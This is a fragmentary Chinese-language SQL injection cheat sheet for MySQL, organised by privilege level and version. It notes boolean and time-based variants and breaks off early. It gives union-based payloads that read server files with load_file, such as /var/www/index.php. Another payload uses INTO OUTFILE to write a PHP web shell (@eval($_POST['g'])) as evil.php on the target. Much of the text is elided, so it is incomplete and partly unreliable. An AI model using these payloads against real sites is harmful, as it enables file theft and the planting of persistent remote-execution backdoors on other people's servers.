(基于布尔型、基于时间延迟)
0x01 Mysql
Mysql划分:权限 root 普通用户 版本 mysql>5.0 mysql<5.0
1.1 root权限
load_file...转换成十六进制,不用“”
id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file(’/var/www/index.php...id=1'and 1=2 union select 1,load_file('D:\\wamp\\www\\111.php')%23
id=1'and 1=2 union select 1,load_file...php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
?...--
1.2 MySQL联合查询
1.2.1 适用于mysql低于5.0版本
1.判断是否可以注入
?